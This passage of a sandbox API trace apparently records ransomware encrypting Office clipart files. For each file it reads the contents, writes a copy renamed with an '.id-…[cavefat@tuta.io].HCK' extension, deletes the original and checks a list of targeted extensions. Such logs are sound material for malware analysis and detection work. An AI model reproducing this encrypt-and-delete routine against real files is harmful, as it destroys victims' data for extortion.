office\\root\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.134] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1772) returned 1 [0180.134] CloseHandle (hObject=0x370) returned 1 [0180.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\re00006_.wmf")) returned 0x220 [0180.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\re00006_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.139] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.139] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\re00006_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.142] GetLastError () returned 0x0 [0180.142] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x6ec, lpOverlapped=0x0) returned 1 [0180.143] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x6f0, lpOverlapped=0x0) returned 1 [0180.144] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.144] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.144] SetEndOfFile (hFile=0x2fc) returned 1 [0180.147] CloseHandle (hObject=0x2fc) returned 1 [0180.149] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.149] SetEndOfFile (hFile=0x368) returned 1 [0180.152] CloseHandle (hObject=0x368) returned 1 [0180.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\re00006_.wmf")) returned 1 [0180.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 68 [0180.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 68 [0180.158] lstrlenW (lpString=".doc") returned 4 [0180.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.158] lstrlenW (lpString=".docx") returned 5 [0180.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.158] lstrlenW (lpString=".pdf") returned 4 [0180.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.158] lstrlenW (lpString=".xls") returned 4 [0180.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.158] lstrlenW (lpString=".xlsx") returned 5 [0180.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.158] lstrlenW (lpString=".ppt") returned 4 [0180.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 68 [0180.158] lstrlenW (lpString=".zip") returned 4 [0180.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.158] lstrlenW (lpString=".rar") returned 4 [0180.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.158] lstrlenW (lpString=".bz2") returned 4 [0180.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.158] lstrlenW (lpString=".7z") returned 3 [0180.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 68 [0180.158] lstrlenW (lpString=".dbf") returned 4 [0180.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 68 [0180.158] lstrlenW (lpString=".1cd") returned 4 [0180.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 68 [0180.158] lstrlenW (lpString=".jpg") returned 4 [0180.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 68 [0180.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 68 [0180.158] lstrlenW (lpString=".doc") returned 4 [0180.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.158] lstrlenW (lpString=".docx") returned 5 [0180.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.158] lstrlenW (lpString=".pdf") returned 4 [0180.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.159] lstrlenW (lpString=".xls") returned 4 [0180.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.159] lstrlenW (lpString=".xlsx") returned 5 [0180.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.159] lstrlenW (lpString=".ppt") returned 4 [0180.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 68 [0180.159] lstrlenW (lpString=".zip") returned 4 [0180.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.159] lstrlenW (lpString=".rar") returned 4 [0180.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.159] lstrlenW (lpString=".bz2") returned 4 [0180.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.159] lstrlenW (lpString=".7z") returned 3 [0180.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 68 [0180.159] lstrlenW (lpString=".dbf") returned 4 [0180.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 68 [0180.159] lstrlenW (lpString=".1cd") returned 4 [0180.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 68 [0180.159] lstrlenW (lpString=".jpg") returned 4 [0180.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.159] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.159] lstrlenW (lpString="SL00286_.WMF") returned 12 [0180.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.162] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7596) returned 1 [0180.162] CloseHandle (hObject=0x2fc) returned 1 [0180.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00286_.wmf")) returned 0x220 [0180.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00286_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.165] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.165] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00286_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.168] GetLastError () returned 0x0 [0180.168] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1dac, lpOverlapped=0x0) returned 1 [0180.170] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1db0, lpOverlapped=0x0) returned 1 [0180.171] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.171] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.171] SetEndOfFile (hFile=0x368) returned 1 [0180.173] CloseHandle (hObject=0x368) returned 1 [0180.174] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.174] SetEndOfFile (hFile=0x2fc) returned 1 [0180.176] CloseHandle (hObject=0x2fc) returned 1 [0180.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00286_.wmf")) returned 1 [0180.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 68 [0180.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 68 [0180.179] lstrlenW (lpString=".doc") returned 4 [0180.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.179] lstrlenW (lpString=".docx") returned 5 [0180.179] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.179] lstrlenW (lpString=".pdf") returned 4 [0180.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.179] lstrlenW (lpString=".xls") returned 4 [0180.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.179] lstrlenW (lpString=".xlsx") returned 5 [0180.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.179] lstrlenW (lpString=".ppt") returned 4 [0180.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 68 [0180.179] lstrlenW (lpString=".zip") returned 4 [0180.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.179] lstrlenW (lpString=".rar") returned 4 [0180.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.179] lstrlenW (lpString=".bz2") returned 4 [0180.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.179] lstrlenW (lpString=".7z") returned 3 [0180.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 68 [0180.179] lstrlenW (lpString=".dbf") returned 4 [0180.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 68 [0180.179] lstrlenW (lpString=".1cd") returned 4 [0180.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 68 [0180.179] lstrlenW (lpString=".jpg") returned 4 [0180.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 68 [0180.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 68 [0180.180] lstrlenW (lpString=".doc") returned 4 [0180.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.180] lstrlenW (lpString=".docx") returned 5 [0180.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.180] lstrlenW (lpString=".pdf") returned 4 [0180.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.180] lstrlenW (lpString=".xls") returned 4 [0180.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.180] lstrlenW (lpString=".xlsx") returned 5 [0180.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.180] lstrlenW (lpString=".ppt") returned 4 [0180.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 68 [0180.180] lstrlenW (lpString=".zip") returned 4 [0180.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.180] lstrlenW (lpString=".rar") returned 4 [0180.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.180] lstrlenW (lpString=".bz2") returned 4 [0180.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.180] lstrlenW (lpString=".7z") returned 3 [0180.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 68 [0180.180] lstrlenW (lpString=".dbf") returned 4 [0180.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 68 [0180.180] lstrlenW (lpString=".1cd") returned 4 [0180.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF") returned 68 [0180.180] lstrlenW (lpString=".jpg") returned 4 [0180.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.180] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.180] lstrlenW (lpString="SL00345_.WMF") returned 12 [0180.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.186] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2788) returned 1 [0180.186] CloseHandle (hObject=0x370) returned 1 [0180.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00345_.wmf")) returned 0x220 [0180.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00345_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.188] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.188] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00345_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.192] GetLastError () returned 0x0 [0180.192] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xae4, lpOverlapped=0x0) returned 1 [0180.194] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0180.195] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.195] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.195] SetEndOfFile (hFile=0x3a4) returned 1 [0180.197] CloseHandle (hObject=0x3a4) returned 1 [0180.200] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.200] SetEndOfFile (hFile=0x370) returned 1 [0180.205] CloseHandle (hObject=0x370) returned 1 [0180.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00345_.wmf")) returned 1 [0180.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 68 [0180.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 68 [0180.208] lstrlenW (lpString=".doc") returned 4 [0180.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.208] lstrlenW (lpString=".docx") returned 5 [0180.208] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.208] lstrlenW (lpString=".pdf") returned 4 [0180.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.208] lstrlenW (lpString=".xls") returned 4 [0180.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.208] lstrlenW (lpString=".xlsx") returned 5 [0180.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.208] lstrlenW (lpString=".ppt") returned 4 [0180.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 68 [0180.208] lstrlenW (lpString=".zip") returned 4 [0180.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.208] lstrlenW (lpString=".rar") returned 4 [0180.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.208] lstrlenW (lpString=".bz2") returned 4 [0180.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.208] lstrlenW (lpString=".7z") returned 3 [0180.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 68 [0180.208] lstrlenW (lpString=".dbf") returned 4 [0180.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 68 [0180.208] lstrlenW (lpString=".1cd") returned 4 [0180.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 68 [0180.208] lstrlenW (lpString=".jpg") returned 4 [0180.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 68 [0180.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 68 [0180.208] lstrlenW (lpString=".doc") returned 4 [0180.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.208] lstrlenW (lpString=".docx") returned 5 [0180.208] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.208] lstrlenW (lpString=".pdf") returned 4 [0180.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.208] lstrlenW (lpString=".xls") returned 4 [0180.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.208] lstrlenW (lpString=".xlsx") returned 5 [0180.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.209] lstrlenW (lpString=".ppt") returned 4 [0180.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 68 [0180.209] lstrlenW (lpString=".zip") returned 4 [0180.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.209] lstrlenW (lpString=".rar") returned 4 [0180.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.209] lstrlenW (lpString=".bz2") returned 4 [0180.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.209] lstrlenW (lpString=".7z") returned 3 [0180.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 68 [0180.209] lstrlenW (lpString=".dbf") returned 4 [0180.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 68 [0180.209] lstrlenW (lpString=".1cd") returned 4 [0180.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF") returned 68 [0180.209] lstrlenW (lpString=".jpg") returned 4 [0180.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.209] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.209] lstrlenW (lpString="SL01395_.WMF") returned 12 [0180.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.210] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5004) returned 1 [0180.210] CloseHandle (hObject=0x2fc) returned 1 [0180.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 